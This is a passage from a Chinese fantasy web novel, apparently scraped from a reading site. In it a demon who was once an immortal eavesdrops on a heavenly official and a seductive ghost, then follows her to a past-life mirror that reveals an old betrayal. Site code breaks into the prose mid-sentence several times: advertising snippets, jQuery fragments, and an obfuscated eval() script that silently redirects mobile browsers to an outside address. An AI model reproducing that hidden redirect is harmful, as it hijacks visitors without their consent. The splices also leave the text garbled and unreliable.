不过这种情况十分少见,在天上当仙禽神兽,远胜于在凡间苦哈哈的当妖怪。 除非是犯了大错被神仙主人赶下凡,才会不得已从仙宠沦为妖怪。 越君朴含糊其词地道:“差不多吧,如果你遇上了这样的妖,可否告知一下我?” 除了知道明光现在已经修炼成精外,他的本体是什么,人形长啥样,越君朴一点也不清楚,也无从打听。 不过今天被他遇上了任天真,这个受过他栽培之恩的莲花花妖,倒是可以拜托她帮忙留意一下。 任天真不假思索地点头道:“当然,华源真君,如果我有相关消息怎么告知你呢?” “这张是我的传讯飞符,有劳姑娘了。” 越君朴给了任天真一张传讯飞符,她双手接过去,珍而重之地放入怀中。 “华源真君请放心,如果我发现了这样的妖,一定第一时间告知你。” 阿难毫无存在感地缩在船舱一角,听着神仙找花妖帮忙留意自己的下落,心里啼笑皆非:越君朴,其实我就在你眼前,只是你认不出来了。 . 昌城城南,悦来客栈。 客栈三楼东廊紧挨着的两间上房,原本是阿难和任天真分别居住的客房。不过现在只有他一个人还住在这儿,任天真已经连夜离开了昌城。 越君朴随口拜托她的事,她却是十二分上心的要帮忙。 自太平岛返回昌城的船靠岸后,她没有和阿难一起登上码头,而是让船夫再把自己送往毗邻海中洲最近的陆地慈城。 “阿难哥哥,我还要替华源真君去办事,海中洲就不再呆下去了,改日你替我跟阴姐姐道一声别吧。” “真真姑娘,华源真君随口一句话,你倒像是奉了圣旨似的,我算明白你的执念是什么了。” 任天真的脸颊微微一红,“你看出来了?” “只有瞎子才会看不出来。” “对,华源真君就是我的执念。我是妖,却喜欢一位仙官。是他一手种出了我的莲花本体,又是我生出灵智后见到的第一个人,命中注定会在我心里烙下痕迹。我知道仙妖有别,所以并不强求。只是想努力修炼成仙,有朝一日和他站上同样的位置。无论那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时能否跟他有结果,我都努力过了,还成就了更好的自己,也不会有什么遗憾。对吧?” 任天真落落大方地坦露心迹,阿难听得深以为然,微笑着点了点头。 “对,喜欢一个人是没有错的,因为想跟他站上同样的位置而努力成就更好的自己,那就更加没错了。真真,加油哦,我看好你日后飞升成仙。” . 一弯明月爬上树梢时,阿难独自坐在悦来客栈二楼的房间里,就着半只油淋鸡下酒。 他正夹着一块鸡肉在酱碟里轻蘸,右腕上的虎头铃铛突然铛的一声响。 以往听到这样的预警铃声,阿难肯定是逃命要紧,现在却不慌不忙地继续专心夹着鸡肉蘸酱汁。 “小铃,你感知到了朱颜悔在附近?还好我在客房里呆着,遇不上她。就算遇上了也没事,应长恨现在肯定已经当上鬼王了,她不看僧面也要看佛面,不敢把我怎么样的。” 应长恨回无间鬼域搞鬼王争霸赛之前,对阿难保证过一件事。 “只要我当上了鬼王,魅鬼和疫鬼就不会再成为你的威胁,我还会让他们以后见到你都客客气气。” “你当上鬼王肯定没问题,我以后看来不用再担心遇上他俩会小命不保了。” 阿难津津有味地吃着油淋鸡时,小铃又铛的响了一下,提醒主人朱颜愧离得更近了。 他有所明了地放下筷子,走到房门前拉开一线门,恰好听到楼下大门处飘来一个声音。 “小二,还有上房吗?” 这个柔媚入骨的声音,阿难不用照面就知道来者何人——魅鬼朱颜悔,她居然也跑来这家客栈住店了。 “有的有的,姑娘楼上请,正好今儿刚空出来一间上房。” 店小二领着朱颜悔上了楼,走到阿难隔壁那间上房。 那时他早已关紧了房门,这个疯批美人疯起来连自己都打,如无必要还是别跟她打交道。 朱颜悔住进隔壁房间不到一刻钟的功夫,阿难腕间的虎头铃铛又响了。 这一回,小铃告诉他附近有仙气,有仙气就代表有仙官的存在。 阿难一开始还漫不经心,觉得或许是越君朴还没走。直到隔壁的房门被人笃笃敲响,还有一个温文尔雅的男子声音响起来。 “朱姑娘,是我。” 阿难听得吃了一惊:这不是郦子微的声音吗?堂堂天界仙官,怎么会跑来昌城跟朱颜悔私下见面呢? 云间仙境的弘文真君郦子微,与无间鬼域的魅鬼朱颜悔,那可是天上地下毫不搭边的两个人,他们为什么在人间凡界私下见面? 一男一女的夜晚私会,通常情况下会让人觉得有私情。但云间仙境的神仙们大都是清心寡欲的,郦子微更是个中翘楚。 这位才貌出众的郦仙郎,向来表现得对风花雪月没有丝毫兴趣,闲暇时从不约仙子看星星看月亮,总是独自一人对鸡弹琴。 ——那只仙禽勃公子,永远是他唯一的听众。 隔壁的房门吱呀一声打开了,伴随着朱颜悔娇柔动听的含笑声音。 “郦仙郎,请进。” 75.勃公子 郦子微进入隔壁房间后,就什么声音都听不到了。 阿难也不敢施展法力去偷听,一旦被那两位察觉到了隔墙有耳,那就是妥妥的自讨苦吃。 非但不敢偷听,阿难还得赶紧溜出屋子躲远一点。 万一他们发现隔壁住着一个妖,担心这一隐秘的会面被他看见了传出去,没准会杀妖灭口。 把最后一块油淋鸡塞进嘴里后,阿难像一个普通客人那样走出房间下了楼,这样正常的行动才不会引起怀疑。 要是不走寻常路地跳窗跑路,那就等于敲锣打鼓地告诉隔壁“我很可疑”。 走出悦来客栈时,阿难忽然头皮一麻,心里一惊,因为他看见了一只鸡。 如果只是一只普通的鸡,当然不至于让他这么紧张。那是郦子微养的仙禽——阳精之体的大公鸡勃公子,专克妖邪数百年。 白羽红冠的勃公子,精神抖擞地站在街道对面的一处屋檐上,正对着朱颜悔的房间窗户。 这只仙禽陪着主人下凡,可不是来闲逛的。 郦子微只是文神,斗战能力很一般,专克妖邪的勃公子可以充当保镖。 像现在它正对着朱颜悔房间的窗户,如果主人遇险示警,可以直接冲着窗户打鸣。 朱颜悔要是招架不住勃公子的声波攻击,肉身就会退化为魂体。再不赶紧跑的话,魂体还会在一声接一声的鸡鸣中化作轻烟,就此魂飞魄散。 阿难一出客栈,勃公子一双锐利的眼睛就朝他张望,似乎有所察觉他的妖怪身份。 虽然阿难身上的妖气似有若无,一般情况下能蒙混过关,但如果已经引起了对方的注意,就很难混过去了。 而且小铃也不在他身上,否则还可以帮他遮掩一下。 . 很久以前,步云山还是东海之畔的灵山时,万壑松涛连海气,松子也成为山中最常见的果实,没有之一。 明光从小吃着松子长大,一直百吃不厌。 就算是飞升成仙来到云间仙境,灵曜殿中照样常备着香喷喷的烤松子,没事就剥着吃。 某天,明光坐在殿里津津有味地剥着烤松子,大公鸡勃公子循着香味进了屋,他便撒了一把给它吃。 尝到了甜头的勃公子,以后隔三差五就跑过来蹭松子吃。明光自然也不会吝啬,每次都让它吃到心满意足为止。 吃了很长一段时间的白食后,勃公子忽然就不来了,应该是郦子微发现并叫停了它的蹭吃行为。 虽然再没来过灵曜殿蹭松子吃,不过这只大公鸡每次见到明光,总会喔喔轻啼两声跟他打招呼。 云间仙境的仙禽大都只认自家仙主,除非两位仙官关系密切才会爱屋及乌。 明光和郦子微的关系,跟其他仙官一样只是点头之交。能蒙勃公子如此另眼相待,全是因为喂过它松子的缘故。 . 屋檐上方,勃公子正拍打着翅膀,伸长了脖子,一副准备朝阿难放大招的打鸣架势。 它的声波攻击,就算是大妖也要退避三舍。 关键时刻阿难不退倒进,身形一晃飞上屋檐,从腰间的荷包里掏出一把烤松子,撒到勃公子面前。 “勃公子,我请你吃松子。” 阿难撒给勃公子的烤松子,让正准备打鸣的大公鸡陡然呆住了。 熟悉的动作,熟悉的话语,熟悉的松子香,不可避免地让这只仙禽想起了一位曾经的仙官。 但他很久以前就从云间仙境消失了,据说是犯了大错被贬下凡。 眼前这个笑容满面的锦衣公子,难道就是当年那位仙官吗?可是他身上怎么带着一丝妖气呢? 勃公子虽然是仙禽,但灵智有限,小脑袋瓜一时间处理不了这么复杂的信息,变得呆若木鸡。 阿难趁此机会逃之夭夭。 逃跑这种事他的经验太丰富了,哪怕只有一丝机会,都绝对不会错失良机,成功躲过了勃公子差一点释放的声波攻击。 . 悦来客栈二楼的上房里,一盏四尺高的银灯,上面托着九瓣莲花灯盏,点着九穗,照得满室通明。 朱颜悔斜倚着一张美人榻,剪水双瞳波光粼粼地轻瞟着独坐一旁的郦子微,唇角挂着一朵媚靥深深的微笑。 “今夕何夕,得与仙郎同房,我朱颜悔真是有福了。” 同房的意思可以是字面上的共处一室,也可以指男欢女爱之事。 朱颜悔用了这种一语双关的词,既是一种有意无意的挑逗,也是心存捉弄。 郦子微的神色却依然泰然自若,像是完全听不懂她的话里有话,彬彬有礼地道:“朱姑娘客气了。” 如同一拳打出去却砸中了一团棉花,朱颜悔觉得好没劲,唇角的微笑也淡成了似有若无。 “不知郦仙郎想要打听什么?” 朱颜悔会出现在海中洲,也是冲着阴有苓来的。 那一日,应长恨凭借法宝“万骨枯”在锦霞峰顶大杀四方后,厉无情很不甘心自己的功败垂成,还跟她商议要如何设法挫其锐气。 听说了阴有苓与应长恨有染的传闻后,他又亲自前往无极宗,想要确认这位女宗主是否是一枚可以利用的棋子。 然而,厉无情自无极宗返回无间鬼域后,却变得判若两人。不但彻底放弃了鬼王之争,还率先承认了应长恨的鬼王之尊。 朱颜悔不明白厉无情为什么会这样,他也不会对她交代什么。想要知道答案,她就只能自己过来海中洲寻找。 . 来到海中洲最大的昌城后,朱颜悔就听说了阴有苓凭借仙剑打败厉无情的消息,也对此信以为真。 她心想:难怪厉无情会彻底死心,他不但斗不过应长恨,还被手持仙剑的阴有苓打得落荒而逃,面子里子都丢大了。如果这两人真有一腿的话,简直就是坚不可摧的一对,他想不死心都不可能。 别说厉无情,朱颜悔得知此事后,都感觉一阵心灰意冷。 应长恨和阴有苓,一个有法宝,一个有仙剑,都不是能轻易拿捏的对象。如果继续跟他俩对着干,实在是没什么好处可言。 原本 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 朱颜悔计划次日去太平岛的摩宵宫探察一番,这么一来就打消念头了,打算找家客栈住上一晚便走。 随便走到一家客栈门口时,朱颜悔身后突然传来一个声音。 “请问是朱颜悔姑娘吗?” 朱颜悔蓦然转身,看见了一位穿着天青色长衫的年轻文士,仪范清冷,风神轩举,双瞳湛然莹澈如两颗黑琉璃。 “好一位才貌仙郎——郦仙郎真是名符其实啊!” 郦子微能够认出朱颜悔,她并不太惊讶。毕竟她和钟离斐交过手,郦子微可以从这位仙僚那儿得知她的外貌特征。 而朱颜悔认出郦子微就更容易了,弘文真君的文神庙在江南一带随处可见,她不只一次见过他衣饰华美、丰仪秀美的神像。 就算此时此刻,郦子微以普通文士的形象出现,她也不难发现这张俊朗的面孔酷似哪尊神像了。 郦子微温文尔雅地微笑道:“朱姑娘过誉,郦某愧不敢当。” “我和钟离将军交过手的事,郦仙郎想必有所耳闻,今日该不会是要找我的麻烦吧?” 朱颜悔问得直截了当,郦子微摇头否认道:“绝无此意,只是碰巧遇上了朱姑娘,想跟你打听一下无间鬼域最近的动向。” 朱颜悔明白了,无间鬼域是否有新鬼王上任,云间仙境那边显然也高度关注。 而天界的诸多文神中,郦子微一直备受紫衡帝君英昊的器重。他想打听的消息,一定也是英昊想要知道的事。 “郦仙郎,你要站在大街上跟我打听吗?” “当然不能让朱姑娘一直这么站着。” 郦子微指了一下身后的一家酒楼,客客气气地道:“我正在这儿用晚膳,可以重新点上一桌酒菜款待姑娘,不知姑娘可否赏光?” 看着一派雅正端方的郦子微,朱颜悔生出一个促狭的念头,有意捉弄一下这位有求于自己的仙官。 “不了,我要去这家客栈找个房间休息。如果郦仙郎想要打听什么,就随我来吧!” 这大晚上的,孤男寡女共处一室,传出去可不太好听。如果郦子微担心会引起瓜田李下之嫌,可就要为难喽。 “既然如此,那就依朱姑娘所言。朱姑娘先行一步,我还要回酒楼结账,一会儿再过去叨扰你。” 郦子微并未像朱颜悔以为的那样,流露出为难的神色,没有丝毫犹豫地就一口答应了。 她出乎意料之余,在心底暗想:这个郦子微,要么就是身正不怕影子斜的正人君子;要么就是见我貌美有所心动,巴不得孤男寡女共处一室尝点甜头。 朱颜悔往进悦来客栈后,郦子微很快就上来敲门了。 她打开房门请他进屋坐下,然后淹然百媚地斜倚着一张美人榻,用柔媚入骨的声音说着令人想入非非的话。 然而,一切却都是俏媚眼做给瞎子看,这位弘文真君丝毫不为之所动。 朱颜悔扫兴之极,冷淡发问道:“不知郦仙郎想要打听什么?” “其实也没什么可打听的,主要是想和朱姑娘聊一聊。” 76.前生镜 如果是其他男子这么说,朱颜悔只会觉得他们想一近芳泽,但是郦子微她已经清楚绝无可能。 “哦,聊什么?” “无间鬼域的鬼王宝座空悬三百年之久,迟早会有新鬼王上位。鉴于上任鬼王江天旷的所作所为,帝君不希望再出一位与云间仙境为敌的鬼王。厉鬼应长恨斩杀了太玄真君的黑虎,疫鬼厉无情射伤了威毅真君钟离斐,他们都不符合要求。朱姑娘则不然,如果你能成为新鬼王,那可真是三界之大幸了!” 郦子微不疾不徐的一番话,朱颜悔听出了弦外之音。 “如此说来,帝君不希望应长恨和厉无情成为新鬼王,那他愿意扶持我上位吗?” “朱姑娘,云间仙境虽然希望你能当上鬼王,可无间鬼域的事我们不便直接插手,那样也不利于姑娘日后坐稳鬼王宝座。不过姑娘如果有什么需要,我们酌情私下帮点忙还是可以的。” 朱颜悔明白了,云间仙境不愿明面上出手,只想暗中助力。说白了就是把她推到台前,自己躲在幕后干扰鬼王之争。 这确实是最省力气的法子,让无间鬼域的几个恶煞自己去窝里斗,云间仙境那边只要等着坐收渔翁之利就行了。 对于朱颜悔来说,这么做对她也不是没有好处的。 天上的神仙想利用她,她也可以反过来,利用他们的力量坐上鬼王的宝座——是另一种程度的互惠互利。 “郦仙郎,你有所不知,应长恨已经成了新鬼王。不过云间仙境既然更看好我当鬼王,我自然会设法取而代之,届时还望你们能鼎力相助。” “那是自然。朱姑娘若是成了鬼王,云间仙境与无间鬼域定能和平共处,有利于三界众生。” 郦子微满口答应后,朱颜悔又提了一个要求。 “郦仙郎,听说云间仙境有一面前生镜,可以照出前世种种。我想去照上一照,可否安排一下?” “朱姑娘,你不适合去云间仙境。万一被应长恨他们发现,就算用脚趾头想也知道你跟天界暗通款曲了。” “无妨,只要小心行事不被他们发现就行了。郦仙郎,这面前生镜我一定要去照一照。” 郦子微有些不解,朱颜悔如果是人也就罢了,可她明明是鬼,前世的经历自己一清二楚,为什么还要去照前世镜重温前世种种呢? 不过见她如此坚决,他也不好再反对,只得退让一步。 “云间仙境不是谁想去就去的地方,我得先回去禀报帝君,他同意了再带你上去。” “那就有劳郦仙郎了。” . 郦子微这趟海中洲之行,也是冲着无极宗去的。 没落多年的无极宗,最近成为三界关注的焦点所在。 一来因为仙剑日月明进了摩宵宫;二来因为阴有苓与应长恨的关系闹得沸沸扬扬。 应长恨极有可能成为新鬼王,与之有关系的人或事,自然也会成为云间仙境关注的对象。 郦子微就是奉英昊之命,前去确认应长恨与阴有苓的关系是否真如传闻一般。 以一介普通文士的身份来到海中洲后,郦子微先在昌城找家酒楼坐下来用晚膳。 长年在天界当不食人间烟火的神仙,下凡后他就想品尝一下人间烟火滋味。 点好的酒菜刚上桌,郦子微忽然察觉到了一丝似有若无的鬼气。 他下意识地抬头张望,望见了窗外一袭浓艳夺目的红衣,宛如枫栌秋醉般的明丽色彩。 鬼气与红衣的组合,让郦子微自然不难猜出来,这位艳绝人寰的红衣女鬼究竟是谁了。 与朱颜悔谈完话后,郦子微告辞离去。 他走出客栈时,大公鸡勃公子飞下屋檐迎向主人,喔喔喔喔地叫个不停。 如同明光能听懂小铃的铃语,郦子微也完全明白勃公子的叫声是什么意思。 神仙们的仙禽神兽或神兵法宝,都是有灵之物,主人能够感知到它们的灵智在表达什么。 像太玄真君的黑虎跟随主人上千年,都已经会说话了。 听着勃公子报告的消息,郦子微并不感到意外。 仙剑日月明现在就在摩宵宫,明光会在海中洲出现一点也不奇怪,他要是不出现才奇怪呢! . 逃之夭夭的阿难,并未逃得太远,就藏身于附近的一座钟楼上,居高临下地观察着客栈里的人员出入。 郦子微走出客栈后,很快就带着勃公子消失在街道另一端。 朱颜悔没有再现身,房间里还亮着灯,窗纱上映着她托腮独坐的身影,似乎陷入了沉思中。 一位天界的文神,和一个鬼域的魅鬼,八杆子都打不着的两个人,为什么要私下见面密谈? 如果郦子微跟朱颜悔没有私情,那么就只能是公务了。 公务的说法虽然看起来好像也不搭边,但是阿难恰好知道厉无情射伤了钟离斐的事。 再加上应长恨背着斩杀黑虎的那口黑锅,这二大牛鬼在天界看来都不是什么友好人士,紫衡帝君英昊肯定不希望他们中的任何一位成为新鬼王。 相比之下,朱颜悔才是一个更理想的人选。这个疯批美人再怎么疯批,至少还没有跟天界那边对着干。 猜出几分端倪后,阿难离开客栈前特意留下了小铃。 朱颜悔的屋子在二楼最东面,窗前的一角翘檐下悬着檐铃。 小铃可以把自己变成一只檐铃挂上去,光明正大的偷听,不至于惊动屋里的两个人。 退一万步来说,即使惊动了,它逃跑的速度比阿难快上十倍都不止。 小铃冒充檐铃暗中监听到的内容,在阿难召回它后就叮叮当当地悉数告知主人。 朱颜悔与郦子微的绝大部分对话都在他的意料之中,唯有她最后提出的那个要求有些出乎意料。 阿难听得眸中光芒一闪:朱颜悔要去云间仙境,那我必须要想个办法跟着她混上去。 . 紫衡殿中,刚从人间凡界返回的郦子微,正在向帝君英昊禀告自己此行的经历。 “阴有苓和应长恨的关系,厉无情更急于弄清楚,他找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954565|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个借口去无极宗挑衅,结果被她凭借仙剑日月明赶走了。阴有苓还放出了狠话,谁要再敢来摩宵宫惹事惹事生非,再敢乱传她和应长恨有一腿,就见一个打一个,见两个打一双。” 以往阴有苓说这样的狠话,没有人会当作一回事。可是她手持仙剑打败疫鬼一事传开后,就没有人再敢不当一回事了。 郦子微都很当一回事,认为阴有苓不可能跟应长恨有什么男女私情。 如果有的话,应长恨也不会让她自己独自对付厉无情这种狠角色,他想保护自己的女人还不容易吗? 英昊也认可这一点。 “看来阴有苓和应长恨之间,并不像传闻中说的那样有什么香艳关系。那他当日为什么会在锦霞峰顶放她一马?” 郦子微推测道: “厉鬼那天已经大开杀戒杀了不少修士,阴有苓一介女修,还是因为万象宗的人欺上门来抢了仙府匾额,这才赶往步云山的,并非图谋仙剑或是度化飞仙的好处。或许这就是他不杀她,还让她把仙剑和匾额都带走的缘故吧?” “阴有苓对仙剑无所求,反倒可以把日月明带走,甚至还能通过灵智沟通让仙剑为其所用,这运气是不是太好了?” “帝君是觉得个中或有蹊跷吗?” 英昊沉吟片刻道:“罢了,一个凡界修士,运气好坏与否也影响不大,先不管了。” “帝君,这次海中洲之行,我还在昌城偶遇了魅鬼朱颜悔。” 自己和朱颜悔的谈话内容,郦子微都一五一十地告知英昊,尤其是她执意要上云间仙境照前生镜的事。 “朱颜悔既然这么想照这面前生镜,那你就安排一下吧!” 英昊没有反对。不过是照个镜子而已,朱颜悔大概是想回顾前生的某个难忘时刻,满足一下她又何妨? . 郦子微领命离去前,英昊忽然又叫住了他。 “日月明回到了无极宗,按理明光也该出现了,你这趟下凡可有发现他的行迹?” 之前陆衢夫妇向英昊禀报“信女慧慧”一事,怀疑可能是明光假托名义时,他表现得并不在意,似乎完全不想再提及这个人。 可是现在,他却主动问起明光其人,郦子微也就实话实说。 “帝君,那晚我和朱颜悔交谈时,明光就在客栈门口露过面。” “哦,你见到他了?” “没有,是我的仙禽勃公子发现了他。” 郦子微把勃公子的经历告知英昊后,他听得微微一颔首。 “果不出其然,他也在海中洲。之前的信女慧慧一事,只能是他假托名义。他为什么要找温且惠下凡去救钟离斐,你想过吗?” 郦子微自然是想过的,“作为一个遭贬下凡的罪仙,他这么做要么是想将功赎罪,要么就是有其他用意。” “哦,什么用意呢?” “从神仙沦为妖怪的三百年里,明光肯定吃了不少苦头。如果他因此怀恨在心想要报复,就没有理由出手救人,除非这么做有利于他的报复计划。” 77.景略 英昊一挑眉头,凝声问道:“你觉得明光在处心积虑地想要报复谁?” 郦子微就事论事地回答道:“帝君当初是贬他下凡的人;华源真君是害他走了畜生道的人;至于云间仙境其他仙官,在他遭贬时除了太清元君都没人为他求情。如果他想报复,恐怕整个云间仙境都是目标。” “所以,明光假托信女慧慧的名义,让温且惠救下钟离斐,只是想伪造一个他知错悔过将功赎罪的假象。我们要是信了这个假象,日后他展开报复行动时,就能杀一个出其不意?” “帝君,我只是指出有这么一种可能性,当然也可能是我想多了。也许经历了三百年的磨难后,明光已经真的悔过自新了呢?” 英昊缓缓道:“他到底在想什么,只有他自己才清楚了。” 人心看不透,摸不着,弯弯曲曲如山间小径。 最深处是最隐秘的山径,被无数荆棘藤蔓缠绕遮掩,是他人等闲无法进入的地方。 . 夕阳映碧海,晚霞散成绮。 碎金似的落日余晖撒满东海海面,随着波浪起伏一漾一漾地闪烁时,郦子微带着朱颜悔扶摇直上,前往碧落之上的云间仙境。 朱颜悔一袭红衣,轻盈飘逸的裙袂被风吹拂着,宛如墨空中盛开了一朵红牡丹。 云鬓上斜簪着一支垂着两串珍珠流苏的金步摇,流苏末端饰以一对小金铃,随风舞动叮当轻响。 这支金步摇,当年是朱颜悔的情郎送给她的定情信物。 前世二人相约殉情的时候,她特意换上一身红衣,戴上这支步摇,视死如归地用三丈白绫把自己挂上了屋梁。 黄泉路上,她怎么也等不到情郎的出现,这才意识到自己上当受骗了。 时至今日,朱颜悔依然每天戴着这支金步摇。 不是因为余情未了,而是为了牢牢记住自己曾经的愚蠢,提醒自己永远不要再犯同样的错误。 晨起对镜梳妆时,朱颜悔像往常一样戴上了金步摇。 她丝毫未曾察觉到,坠在珍珠流苏底端的一对小金铃,有一只已经被偷梁换柱了。 阿难那只虎头铃铛的本体是法铃,可以变化为形状不同大小不一的铃铛。 之前变成檐铃,现在又化作朱颜悔金步摇上的小金铃,而且铃体中还附着阿难的一缕灵识。 当初明光遭贬下凡时,仙剑日月明也被封印抛落人间,与主人彻底失散。 而他刚炼成的法宝流金铃尚且无人知晓,遂被他以化实为虚术封入自己的魂魄中,形影不离地陪了他三百年。 所以流金铃和日月明不一样,仙剑认不出从仙变妖的旧主人,法铃却一直与主人的魂魄相依为命。 无论他是人是仙还是妖,它都能透过表象看本质地认出那个熟悉的灵魂。 为了能和朱颜悔一起混上云间仙境,阿难想到了这个反其道而行的办法。把自己的一缕灵识附上法铃,再让法铃伪装成她金步摇上的一枚小金铃。 这么做的风险系数很高,因为混进云间仙境可不是什么轻松之旅。 万一被人发现,只要法铃遭到攻击,藏身其中的灵识受损,阿难的魂魄也会被波及。轻则灵智尽失,重则魂飞魄散。 尽管如此,阿难还是觉得可以冒险一试。 . 碧落之上的云间仙境,作为三界中地位最高的神仙居所,可不是随便什么人都能进去的,妖魔鬼怪尤其不行。 想去云间仙境,必须先过白云关,那儿无论昼夜都有神将驻守。 郦子微带着朱颜悔来到白云关后,对守关神将亮出一块莹光闪烁的灵玉令牌。 “奉帝君之命,带此人前往云间仙境。” 三百年前,除去紫衡帝君的令牌外,灵曜天君以及太玄真君等地位高的大仙官的令牌,也都能带人通过白云关。 不过,自从鬼王江天旷潜入云间仙境、暗杀帝君未遂后,除了英昊的灵玉令牌,其他人等都无权再带外人进入白云关。 确认灵玉令牌无误后,守关神将就放郦子微和朱颜悔过关了。 过了白云关,就是云端千尺浪的白云海。无数飘浮不定的洁白云朵,如海浪般波起涛涌,铺展出一片苍茫辽阔之境。 云海深处,隐约可见一片琼楼玉宇,那儿便是云间仙境。附近高耸着一座云封雾锁若隐若现的山峰,名曰白云峰。 郦子微遥遥一指道:“朱姑娘,你要照的前生镜,就在白云峰顶。” 朱颜悔有些讶异:“为什么要把镜子放在那儿?” “因为它就是白云峰上的一座灵石镜屏。” 白云峰顶有一处灵石壁,此石东面平削如屏,莹洁光润,可鉴人形,能照前生。久而久之,就被人称为前生镜。 . 白云峰顶,朱颜悔与郦子微隔着七八步远的距离,伫立于大约一丈高三丈宽的灵石镜屏前。 “这就是传说中的前生镜,现在镜屏中还是正常映照出你我的样子,一定要等到月亮升上天空吗?” “是的,只有圆月升上天空,月光完全照亮了这面镜屏,才有可能映出镜中人的前生画面。朱姑娘,正如我之前跟你所说的那样,前生镜不是每次都能照出前世种种,而是要看运气的。如果运气不好,你这一趟就要白跑了。” 朱颜悔眸光深幽地紧盯着前生镜,缓缓道:“无妨,如果今晚运气欠佳,那就下个满月之夜再来。如果一直运气不好,也只能烦请郦仙郎陪我多跑几趟了。” 如璧的圆月升上天空后,灵石镜屏被照得通体澄明如水晶。镜中映着的两个身影,也随之发生了变化。 前生镜里的朱颜悔还是朱颜悔,只是面孔稚嫩多了,变成了豆蔻年华的少女。 她穿着一袭杏子红的春衫,踩着一挂秋千架,在碧色深浓的树荫下荡着秋千,满脸都是无忧无虑的笑容。 前生镜里的郦子微则不再是郦子微,而是变成了一个身穿绯袍的簪花少年郎。 他正骑着一匹披红挂彩的高头大马走在大街上,街道两旁全是围观喝彩的人,端的是春风得意马蹄疾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13983982|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >阿难的那缕灵识,也能看到前生镜中的两组画面。属于郦子微的那一幕,他曾经见过类似的场景。 ——咦,这是状元郎在御街夸官呢!郦子微真不愧是文神,前世今生都是状元及第。 . 朱颜悔同样看见了郦子微的前生画面,那个簪花少年郎的英俊面孔映入眼帘时,她如同触了电似的,整个人剧烈地抖动了一下。 “是你——你居然是景略。” 蓦地扭过头,朱颜悔一瞬不瞬地紧盯着几步开外的郦子微,目光如匕首般尖锐冰凉。他不由自主地倒退了两步。 “朱姑娘,我们前世认识吗?” 朱颜悔唇角扭出一丝怪异的冷笑,双眼在黑夜中闪烁着令人不寒而栗的光,几乎能把郦子微的一身血都冻成冰。 “我们可不只是认识那么简单——前世我就是被你害死的。” 咬牙切齿地说着这句话时,朱颜悔整个人就像熊熊燃烧的炉火,每个毛孔都在往外喷射灼热逼人的怨毒、愤怒与憎恨。 郦子微满脸无辜又困惑的神色,“我为什么要害死你?” 灵石镜屏上又幻出新的一幕画面,背景是东风夜放花千树的上元灯市。 披着一袭大红猩猩毡的朱颜悔,独自站在一座石拱桥上,秋水明眸左顾右盼,似乎在等人。 桥的另一端,很快走来了绿鬓青衫的景略。两人言笑晏晏地执手相看,眉梢眼角流动着无限情意。 “看到没有?前世的我太蠢了!以为你是真心爱我,就与你私订终身。结果你考上状元后被公主看中了,因为担心我会坏你的好事,于是花言巧语骗我说要一起殉情。哄得我悬梁自尽后,你就去风风光光当了驸马爷。” 一阵寒意沿着郦子微的脊梁往上蹿,令他不自觉地微微轻颤起来。这是真的吗?前世真的发生过这种事吗? 他本能地盯着灵石镜屏看,想要看到更多的前世画面,可是前生镜却突然黯淡下来,属于前世的画面瞬间消失了。 白云峰上的这面前生镜,一直以来都是这种随机上线的模式。 理论上只要是圆月之夜就可以照前世,但能不能照出来,能照出多少来,一切都要碰运气。 朱颜悔算是运气好,第一次来就照出了前世的画面。 虽然只有短短两幕,却也不枉此行,因为她意外发现郦子微就是当年骗她殉情身亡的狗男人。 最初坚持要来云间仙境照前世镜,朱颜悔是想要通过前世画面的再现,再次见上自己的母亲一面。 当年母亲是世上最疼爱她的人,而她如飞蛾扑火般为爱殉情时,却丝毫没有考虑过母亲白发人送黑发人的感受。 结果母亲在她悬梁自尽后,不到半年功夫就因为伤心过度撒手人寰。 朱颜悔死后在黄泉路上一直等不到景略,又无法重返人间。当她意识到自己可能上当受骗了,愤恨无比地做出一个决定。 ——我不会老老实实地当一个冥鬼去投胎,我要以鬼魂之身回到人间,弄明白这一切到底是怎么回事。 78.七转仙灵丹 如果是冥鬼,只能按部就班地去走轮回路。 那些出于各种原因不肯轮回转世的鬼,魂体想要从阴间重返阳间,需要花上很多时间才能避免不被阳气伤害。 朱颜悔的鬼魂重返人世时,已经是二十年以后,所有一切早已物是人非。 景略不到三十岁就死了,是参加皇室秋狩时意外坠马身亡。他当了十年的驸马爷,一直跟公主过得和和美美,膝下儿女成双。 半年前公主也因病去世,夫妻俩一起合葬于墓葬规制考究的公主坟。 朱颜悔找到公主坟,看着那面夫妇合葬的墓碑,无限悲愤与怨恨在心头涌动。 ——景略,你果然骗了我。说什么一起殉情,其实是骗我去死好让你顺利迎娶公主。机关算尽又如何?你还不是成了一个短命鬼,真是报应啊报应! 尽管觉得景略的英年早逝是报应,但她还是恨他死得太早了,让自己没有机会亲手报仇。 那时候,朱颜悔还只是一个虚无飘渺的鬼魂。虽然恨不得刨开坟墓把死了十几年的景略拉出来鞭尸,却什么也做不了。 许多年后,朱颜悔以魅鬼身份重新来到公主坟,想要完成当年未竟的心愿。 结果发现那座曾经气派非凡的坟茔,在王权更迭与连年战乱中早已不复存在。 